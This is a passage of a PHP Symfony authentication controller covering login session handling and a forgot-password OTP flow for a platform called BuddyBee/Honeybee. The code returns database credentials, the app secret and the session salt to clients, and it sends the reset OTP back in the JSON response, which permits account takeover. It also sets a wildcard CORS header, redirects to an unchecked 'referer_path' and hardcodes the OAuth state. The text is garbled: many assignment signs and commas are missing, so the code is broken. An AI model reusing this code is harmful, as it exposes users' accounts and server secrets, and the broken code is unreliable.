  7740.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7741.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7742.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7743.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7744.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7745.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7746.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7747.                         'oAuthImage' => $session->get('oAuthImage'),
  7748.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7749.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7750.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7751.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7752.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7753.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7754.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7755.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7756.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7757.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7758.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7759.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7760.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7761.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7762.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7763.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7764.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7765.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7766.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7767.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7768.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7769.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7770.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7771.                         //new
  7772.                         'appIdList' => $session->get('appIdList'),
  7773.                         'branchIdList' => $session->get('branchIdList'null),
  7774.                         'branchId' => $session->get('branchId'null),
  7775.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7776.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7777.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7778.                     );
  7779.                     $accessList = [];
  7780. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7781.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7782.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7783.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7784.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7785.                                 $d = array(
  7786.                                     'userType' => $thisUserUserType,
  7787. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7788.                                     'userTypeName' => $userTypeName,
  7789.                                     'globalId' => $globalId,
  7790.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7791.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7792.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7793.                                     'systemType' => '_ERP_',
  7794.                                     'companyId' => 1,
  7795.                                     'appId' => $thisUserAppId,
  7796.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7797.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7798.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7799.                                             array(
  7800.                                                 'globalId' => $globalId,
  7801.                                                 'appId' => $thisUserAppId,
  7802.                                                 'authenticate' => 1,
  7803.                                                 'userType' => $thisUserUserType,
  7804.                                                 'userTypeName' => $userTypeName
  7805.                                             )
  7806.                                         )
  7807.                                     ),
  7808.                                     'userCompanyList' => [
  7809.                                     ]
  7810.                                 );
  7811.                                 $accessList[] = $d;
  7812.                             }
  7813.                         }
  7814.                     }
  7815.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7816.                     $session_data['userAccessList'] = $accessList;
  7817.                     $session->set('userAccessList'json_encode($accessList));
  7818.                     $session_data $this->filterClientSessionData($session_data);
  7819.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7820.                     $session_data $tokenData['sessionData'];
  7821.                     $token $tokenData['token'];
  7822.                     $session->set('token'$token);
  7823.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7824.                         $session->set('remoteVerified'1);
  7825.                         $response = new JsonResponse(array(
  7826.                             'token' => $token,
  7827.                             'uid' => $session->get(UserConstants::USER_ID),
  7828.                             'session' => $session,
  7829.                             'success' => true,
  7830.                             'session_data' => $session_data,
  7831.                         ));
  7832.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7833.                         return $response;
  7834.                     }
  7835.                     if ($request->request->has('referer_path')) {
  7836.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7837.                             return $this->redirect($request->request->get('referer_path'));
  7838.                         }
  7839.                     }
  7840.                     $redirectRoute 'applicant_dashboard';
  7841.                     if ($request->query->has('encData')) {
  7842.                         if ($request->query->get('encData') == '8917922')
  7843.                             $redirectRoute 'apply_for_consultant';
  7844.                     }
  7845.                     return $this->redirectToRoute($redirectRoute);
  7846.                 }
  7847. //                    $response = new JsonResponse(array(
  7848. //                        'token' => $token,
  7849. //                        'uid' => $session->get(UserConstants::USER_ID),
  7850. //                        'session' => $session,
  7851. //
  7852. //                        'success' => true,
  7853. //                        'session_data' => $session_data,
  7854. //
  7855. //                    ));
  7856. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7857. //                    return $response;
  7858. //                    return $this->redirectToRoute("user_login", [
  7859. //                        'id' => $isApplicantExist->getApplicantId(),
  7860. //                        'oAuthData' => $oAuthData,
  7861. //                        'encData' => $encData,
  7862. //                        'locale' => $request->request->get('locale', 'en'),
  7863. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7864. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7865. //                    ]);
  7866.             }
  7867.         }
  7868.         $selector BuddybeeConstant::$selector;
  7869.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7870.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7871.         if ($systemType == '_ERP_') {
  7872.         } else if ($systemType == '_SOPHIA_') {
  7873.             return $this->render(
  7874.                 '@Sophia/pages/views/sofia_login.html.twig',
  7875.                 [
  7876.                     'page_title' => 'Sophia Login',
  7877.                     'oAuthLink' => $google_client->createAuthUrl(),
  7878.                     'redirect_url' => $url,
  7879.                     'message' => $message,
  7880.                     'systemType' => $systemType,
  7881.                     'ownServerId' => $ownServerId,
  7882.                     'errorField' => '',
  7883.                     'encData' => $encData,
  7884.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7885.                     'selector' => $selector,
  7886.                 ]
  7887.             );
  7888.         } else if ($systemType == '_CENTRAL_') {
  7889.             return $this->render(
  7890.                 '@Authentication/pages/views/central_login.html.twig',
  7891.                 [
  7892.                     'page_title' => 'Central Login',
  7893.                     'oAuthLink' => $google_client->createAuthUrl(),
  7894.                     'redirect_url' => $url,
  7895.                     'message' => $message,
  7896.                     'systemType' => $systemType,
  7897.                     'ownServerId' => $ownServerId,
  7898.                     'errorField' => '',
  7899.                     'encData' => $encData,
  7900.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7901.                     'selector' => $selector,
  7902.                 ]
  7903.             );
  7904.         } else if ($systemType == '_BUDDYBEE_') {
  7905.             return $this->render(
  7906.                 '@Authentication/pages/views/applicant_login.html.twig',
  7907.                 [
  7908.                     'page_title' => 'BuddyBee Login',
  7909.                     'oAuthLink' => $google_client->createAuthUrl(),
  7910.                     'redirect_url' => $url,
  7911.                     'message' => $message,
  7912.                     'errorField' => $errorField,
  7913.                     'encData' => $encData,
  7914.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7915.                     'selector' => $selector
  7916.                 ]
  7917.             );
  7918.         }
  7919.         return $this->render(
  7920.             '@Authentication/pages/views/applicant_login.html.twig',
  7921.             [
  7922.                 'page_title' => 'Applicant Registration',
  7923.                 'oAuthLink' => $google_client->createAuthUrl(),
  7924.                 'redirect_url' => $url,
  7925.                 'encData' => $encData,
  7926.                 'message' => $message,
  7927.                 'errorField' => $errorField,
  7928.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7929.                 'selector' => $selector
  7930.             ]
  7931.         );
  7932.     }
  7933.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7934.     {
  7935. //        $userCategory=$request->request->has('userCategory');
  7936.         $encryptedData = [];
  7937.         $errorField '';
  7938.         $message '';
  7939.         $userType '';
  7940.         $otpExpireSecond 180;
  7941.         $otpExpireTs 0;
  7942.         $otp '';
  7943.         if ($encData != '')
  7944.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7945. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7946.         $userCategory '_BUDDYBEE_USER_';
  7947.         if (isset($encryptedData['userCategory']))
  7948.             $userCategory $encryptedData['userCategory'];
  7949.         else
  7950.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7951.         $em $this->getDoctrine()->getManager('company_group');
  7952.         $em_goc $this->getDoctrine()->getManager('company_group');
  7953.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7954.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7955.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7956.         $twigData = [];
  7957.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7958.         $email_address $request->request->get('email''');
  7959.         $email_twig_data = [];
  7960.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7961.         if ($request->isMethod('POST')) {
  7962.             //set an otp and its expire and send mail
  7963.             $email_address $request->request->get('email');
  7964.             $userObj null;
  7965.             $userData = [];
  7966.             if ($systemType == '_ERP_') {
  7967.                 if ($userCategory == '_APPLICANT_') {
  7968.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7969.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7970.                         array(
  7971.                             'email' => $email_address
  7972.                         )
  7973.                     );
  7974.                     if ($userObj) {
  7975.                     } else {
  7976.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7977.                             array(
  7978.                                 'oAuthEmail' => $email_address
  7979.                             )
  7980.                         );
  7981.                         if ($userObj) {
  7982.                         } else {
  7983.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7984.                                 array(
  7985.                                     'username' => $email_address
  7986.                                 )
  7987.                             );
  7988.                         }
  7989.                     }
  7990.                     if ($userObj) {
  7991.                         $email_address $userObj->getEmail();
  7992.                         if ($email_address == null || $email_address == '')
  7993.                             $email_address $userObj->getOAuthEmail();
  7994.                     }
  7995. //                    triggerResetPassword:
  7996. //                    type: integer
  7997. //                          nullable: true
  7998.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7999.                     $otp $otpData['otp'];
  8000.                     $otpExpireTs $otpData['expireTs'];
  8001.                     $userObj->setOtp($otpData['otp']);
  8002.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8003.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8004.                     $em_goc->flush();
  8005.                     $userData = array(
  8006.                         'id' => $userObj->getApplicantId(),
  8007.                         'email' => $email_address,
  8008.                         'appId' => 0,
  8009. //                        'appId'=>$userObj->getUserAppId(),
  8010.                     );
  8011.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8012.                     $email_twig_data = [
  8013.                         'page_title' => 'Find Account',
  8014.                         'encryptedData' => $encryptedData,
  8015.                         'message' => $message,
  8016.                         'userType' => $userType,
  8017.                         'errorField' => $errorField,
  8018.                         'otp' => $otpData['otp'],
  8019.                         'otpExpireSecond' => $otpExpireSecond,
  8020.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8021.                         'otpExpireTs' => $otpData['expireTs'],
  8022.                         'systemType' => $systemType,
  8023.                         'userData' => $userData
  8024.                     ];
  8025.                     if ($userObj)
  8026.                         $email_twig_data['success'] = true;
  8027.                 } else {
  8028.                     $userType UserConstants::USER_TYPE_GENERAL;
  8029.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8030.                     $email_twig_data = [
  8031.                         'page_title' => 'Find Account',
  8032.                         'encryptedData' => $encryptedData,
  8033.                         'message' => $message,
  8034.                         'userType' => $userType,
  8035.                         'errorField' => $errorField,
  8036.                     ];
  8037.                 }
  8038.             } else if ($systemType == '_CENTRAL_') {
  8039.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8040.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8041.                     array(
  8042.                         'email' => $email_address
  8043.                     )
  8044.                 );
  8045.                 if ($userObj) {
  8046.                 } else {
  8047.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8048.                         array(
  8049.                             'oAuthEmail' => $email_address
  8050.                         )
  8051.                     );
  8052.                     if ($userObj) {
  8053.                     } else {
  8054.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8055.                             array(
  8056.                                 'username' => $email_address
  8057.                             )
  8058.                         );
  8059.                     }
  8060.                 }
  8061.                 if ($userObj) {
  8062.                     $email_address $userObj->getEmail();
  8063.                     if ($email_address == null || $email_address == '')
  8064.                         $email_address $userObj->getOAuthEmail();
  8065.                     //                    triggerResetPassword:
  8066. //                    type: integer
  8067. //                          nullable: true
  8068.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8069.                     $otp $otpData['otp'];
  8070.                     $otpExpireTs $otpData['expireTs'];
  8071.                     $userObj->setOtp($otpData['otp']);
  8072.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8073.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8074.                     $em_goc->flush();
  8075.                     $userData = array(
  8076.                         'id' => $userObj->getApplicantId(),
  8077.                         'email' => $email_address,
  8078.                         'appId' => 0,
  8079.                         'image' => $userObj->getImage(),
  8080.                         'firstName' => $userObj->getFirstname(),
  8081.                         'lastName' => $userObj->getLastname(),
  8082.                         'phone' => $userObj->getPhone(),
  8083. //                        'appId'=>$userObj->getUserAppId(),
  8084.                     );
  8085.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8086.                     $email_twig_data = [
  8087.                         'page_title' => 'Find Account',
  8088.                         'encryptedData' => $encryptedData,
  8089.                         'message' => $message,
  8090.                         'userType' => $userType,
  8091.                         'errorField' => $errorField,
  8092.                         'otp' => $otpData['otp'],
  8093.                         'otpExpireSecond' => $otpExpireSecond,
  8094.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8095.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8096.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8097.                         'otpExpireTs' => $otpData['expireTs'],
  8098.                         'systemType' => $systemType,
  8099.                         'userCategory' => $userCategory,
  8100.                         'userData' => $userData
  8101.                     ];
  8102.                     $email_twig_data['success'] = true;
  8103.                 } else {
  8104.                     $message "Oops! Could not find your account";
  8105.                     $email_twig_data['success'] = false;
  8106.                 }
  8107.             } else if ($systemType == '_BUDDYBEE_') {
  8108.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8109.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8110.                     array(
  8111.                         'email' => $email_address
  8112.                     )
  8113.                 );
  8114.                 if ($userObj) {
  8115.                 } else {
  8116.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8117.                         array(
  8118.                             'oAuthEmail' => $email_address
  8119.                         )
  8120.                     );
  8121.                     if ($userObj) {
  8122.                     } else {
  8123.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8124.                             array(
  8125.                                 'username' => $email_address
  8126.                             )
  8127.                         );
  8128.                     }
  8129.                 }
  8130.                 if ($userObj) {
  8131.                     $email_address $userObj->getEmail();
  8132.                     if ($email_address == null || $email_address == '')
  8133.                         $email_address $userObj->getOAuthEmail();
  8134.                     //                    triggerResetPassword:
  8135. //                    type: integer
  8136. //                          nullable: true
  8137.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8138.                     $otp $otpData['otp'];
  8139.                     $otpExpireTs $otpData['expireTs'];
  8140.                     $userObj->setOtp($otpData['otp']);
  8141.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8142.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8143.                     $em_goc->flush();
  8144.                     $userData = array(
  8145.                         'id' => $userObj->getApplicantId(),
  8146.                         'email' => $email_address,
  8147.                         'appId' => 0,
  8148.                         'image' => $userObj->getImage(),
  8149.                         'firstName' => $userObj->getFirstname(),
  8150.                         'lastName' => $userObj->getLastname(),
  8151.                         'phone' => $userObj->getPhone(),
  8152. //                        'appId'=>$userObj->getUserAppId(),
  8153.                     );
  8154.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8155.                     $email_twig_data = [
  8156.                         'page_title' => 'Find Account',
  8157.                         'encryptedData' => $encryptedData,
  8158.                         'message' => $message,
  8159.                         'userType' => $userType,
  8160.                         'errorField' => $errorField,
  8161.                         'otp' => $otpData['otp'],
  8162.                         'otpExpireSecond' => $otpExpireSecond,
  8163.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8164.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8165.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8166.                         'otpExpireTs' => $otpData['expireTs'],
  8167.                         'systemType' => $systemType,
  8168.                         'userCategory' => $userCategory,
  8169.                         'userData' => $userData
  8170.                     ];
  8171.                     $email_twig_data['success'] = true;
  8172.                 } else {
  8173.                     $message "Oops! Could not find your account";
  8174.                     $email_twig_data['success'] = false;
  8175.                 }
  8176.             }
  8177.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8178.                 if ($systemType == '_BUDDYBEE_') {
  8179.                     $bodyHtml '';
  8180.                     $bodyTemplate $email_twig_file;
  8181.                     $bodyData $email_twig_data;
  8182.                     $attachments = [];
  8183.                     $forwardToMailAddress $email_address;
  8184. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8185.                     $new_mail $this->get('mail_module');
  8186.                     $new_mail->sendMyMail(array(
  8187.                         'senderHash' => '_CUSTOM_',
  8188.                         //                        'senderHash'=>'_CUSTOM_',
  8189.                         'forwardToMailAddress' => $forwardToMailAddress,
  8190.                         'subject' => 'Account Verification',
  8191. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8192.                         'attachments' => $attachments,
  8193.                         'toAddress' => $forwardToMailAddress,
  8194.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8195.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8196.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8197.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8198.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8199. //                            'emailBody' => $bodyHtml,
  8200.                         'mailTemplate' => $bodyTemplate,
  8201.                         'templateData' => $bodyData,
  8202. //                        'embedCompanyImage' => 1,
  8203. //                        'companyId' => $companyId,
  8204. //                        'companyImagePath' => $company_data->getImage()
  8205.                     ));
  8206.                 } else if ($systemType == '_CENTRAL_') {
  8207.                     $bodyHtml '';
  8208.                     $bodyTemplate $email_twig_file;
  8209.                     $bodyData $email_twig_data;
  8210.                     $attachments = [];
  8211.                     $forwardToMailAddress $email_address;
  8212. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8213.                     $new_mail $this->get('mail_module');
  8214.                     $new_mail->sendMyMail(array(
  8215.                         'senderHash' => '_CUSTOM_',
  8216.                         //                        'senderHash'=>'_CUSTOM_',
  8217.                         'forwardToMailAddress' => $forwardToMailAddress,
  8218.                         'subject' => 'Account Verification',
  8219. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8220.                         'attachments' => $attachments,
  8221.                         'toAddress' => $forwardToMailAddress,
  8222.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8223.                         'userName' => 'accounts@ourhoneybee.eu',
  8224.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8225.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8226.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8227. //                            'emailBody' => $bodyHtml,
  8228.                         'mailTemplate' => $bodyTemplate,
  8229.                         'templateData' => $bodyData,
  8230. //                        'embedCompanyImage' => 1,
  8231. //                        'companyId' => $companyId,
  8232. //                        'companyImagePath' => $company_data->getImage()
  8233.                     ));
  8234.                 } else {
  8235.                     $bodyHtml '';
  8236.                     $bodyTemplate $email_twig_file;
  8237.                     $bodyData $email_twig_data;
  8238.                     $attachments = [];
  8239.                     $forwardToMailAddress $email_address;
  8240. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8241.                     $new_mail $this->get('mail_module');
  8242.                     $new_mail->sendMyMail(array(
  8243.                         'senderHash' => '_CUSTOM_',
  8244.                         //                        'senderHash'=>'_CUSTOM_',
  8245.                         'forwardToMailAddress' => $forwardToMailAddress,
  8246.                         'subject' => 'Applicant Registration on Honeybee',
  8247. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8248.                         'attachments' => $attachments,
  8249.                         'toAddress' => $forwardToMailAddress,
  8250.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8251.                         'userName' => 'accounts@ourhoneybee.eu',
  8252.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8253.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8254.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8255.                         'emailBody' => $bodyHtml,
  8256.                         'mailTemplate' => $bodyTemplate,
  8257.                         'templateData' => $bodyData,
  8258. //                        'embedCompanyImage' => 1,
  8259. //                        'companyId' => $companyId,
  8260. //                        'companyImagePath' => $company_data->getImage()
  8261.                     ));
  8262.                 }
  8263.             }
  8264.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8265.                 if ($systemType == '_BUDDYBEE_') {
  8266.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8267.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8268.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8269.                      _APPEND_CODE_';
  8270.                     $msg str_replace($searchVal$replaceVal$msg);
  8271.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8272.                     $sendType 'all';
  8273.                     $socketUserIds = [];
  8274.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8275.                 } else {
  8276.                 }
  8277.             }
  8278.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8279.                 $response = new JsonResponse(array(
  8280.                         'templateData' => $twigData,
  8281.                         'message' => $message,
  8282. //                        "otp"=>'',
  8283.                         "otp" => $otp,
  8284.                         "otpExpireTs" => $otpExpireTs,
  8285.                         'actionData' => $email_twig_data,
  8286.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8287.                     )
  8288.                 );
  8289.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8290.                 return $response;
  8291.             } else if ($email_twig_data['success'] == true) {
  8292.                 $encData = array(
  8293.                     "userType" => $userType,
  8294.                     "otp" => '',
  8295. //                "otp"=>$otp,
  8296.                     "otpExpireTs" => $otpExpireTs,
  8297.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8298.                     "userCategory" => $userCategory,
  8299.                     "userId" => $userData['id'],
  8300.                     "systemType" => $systemType,
  8301.                     "email" => $email_address,
  8302.                 );
  8303.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8304.                 $url $this->generateUrl(
  8305.                     'verify_otp'
  8306.                 );
  8307.                 return $this->redirect($url "/" $encDataStr);
  8308. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8309. ////                    'encData'
  8310. ////                'id' => $isApplicantExist->getApplicantId(),
  8311. ////                'oAuthData' => $oAuthData,
  8312. ////                'refRoute' => $refRoute,
  8313. //                ]);
  8314.             }
  8315.         }
  8316.         if ($systemType == '_ERP_') {
  8317.             if ($userCategory == '_APPLICANT_') {
  8318.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8319.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8320.                 $twigData = [
  8321.                     'page_title' => 'Find Account',
  8322.                     'encryptedData' => $encryptedData,
  8323.                     'message' => $message,
  8324.                     'systemType' => $systemType,
  8325.                     'ownServerId' => $ownServerId,
  8326.                     'userType' => $userType,
  8327.                     'errorField' => $errorField,
  8328.                 ];
  8329.             } else {
  8330.                 $userType UserConstants::USER_TYPE_GENERAL;
  8331.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8332.                 $twigData = [
  8333.                     'page_title' => 'Find Account',
  8334.                     'encryptedData' => $encryptedData,
  8335.                     'systemType' => $systemType,
  8336.                     'ownServerId' => $ownServerId,
  8337.                     'message' => $message,
  8338.                     'userType' => $userType,
  8339.                     'errorField' => $errorField,
  8340.                 ];
  8341.             }
  8342.         } else if ($systemType == '_CENTRAL_') {
  8343.             $userType UserConstants::USER_TYPE_APPLICANT;
  8344.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8345.             $twigData = [
  8346.                 'page_title' => 'Find Account',
  8347.                 'encryptedData' => $encryptedData,
  8348.                 'systemType' => $systemType,
  8349.                 'ownServerId' => $ownServerId,
  8350.                 "otp" => '',
  8351. //                "otp"=>$otp,
  8352.                 "otpExpireTs" => $otpExpireTs,
  8353.                 'message' => $message,
  8354.                 'userType' => $userType,
  8355.                 'errorField' => $errorField,
  8356.             ];
  8357.         } else if ($systemType == '_BUDDYBEE_') {
  8358.             $userType UserConstants::USER_TYPE_APPLICANT;
  8359.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8360.             $twigData = [
  8361.                 'page_title' => 'Find Account',
  8362.                 'encryptedData' => $encryptedData,
  8363.                 "otp" => '',
  8364.                 'systemType' => $systemType,
  8365.                 'ownServerId' => $ownServerId,
  8366. //                "otp"=>$otp,
  8367.                 "otpExpireTs" => $otpExpireTs,
  8368.                 'message' => $message,
  8369.                 'userType' => $userType,
  8370.                 'errorField' => $errorField,
  8371.             ];
  8372.         }
  8373.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8374.             $response = new JsonResponse(array(
  8375.                     'templateData' => $twigData,
  8376.                     'message' => $message,
  8377.                     "otp" => '',
  8378. //                "otp"=>$otp,
  8379.                     "otpExpireTs" => $otpExpireTs,
  8380.                     'actionData' => $email_twig_data,
